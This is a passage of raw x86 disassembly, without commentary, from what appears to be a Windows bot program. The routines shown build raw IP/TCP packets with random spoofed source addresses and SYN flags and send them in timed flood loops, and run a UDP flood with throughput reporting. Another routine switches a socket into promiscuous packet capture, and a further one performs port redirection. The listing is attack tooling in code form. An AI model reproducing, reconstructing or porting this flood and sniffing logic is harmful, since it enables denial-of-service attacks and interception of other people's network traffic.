ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi call near ptr 27E0716h nop mov [esp+48h], eax mov al, byte_4D64E9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp push 14h mov [esp+3Ah], ax call ebp mov [esp+5Ah], ax mov eax, [esp+14h] push eax call near ptr 71AB2BC0h nop mov esi, eax mov [esp+2Ch], esi call ebx cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp mov [esp+34h], ax call ebx mov edi, eax shl edi, 10h call ebx or edi, eax push edi call ebp mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4271BA nop call near ptr 27E0716h mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 8BF6E890h, 0E9A00240h, 84004D64h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi nop call near ptr 71AB2B66h cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64E9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp mov eax, [esp+40h+arg_FFCC] push eax call near ptr 2830000h nop dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call near ptr 71AB2B66h nop mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F60 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D60F7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax nop call near ptr 71AB50C8h lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D60F7 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi call near ptr 71AB9639h nop loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F30 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60A5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401F82 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_401424 push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43E14C call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4015D7 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_428160 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BD1 test [esp+4+arg_0], 1 jz short loc_428238 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428238: ; CODE XREF: sub_428220+Dj mov eax, esi pop esi retn 4 sub_428220 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428250 proc near ; CODE XREF: sub_401BD1j push esi mov esi, ecx push edi mov edi, dword_50FC88 mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43E14C cmp eax, 0FFFFFFFFh jz short loc_42826E push eax call edi loc_42826E: ; CODE XREF: sub_428250+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42827C push eax call edi loc_42827C: ; CODE XREF: sub_428250+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_40179E pop edi pop esi retn sub_428250 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; 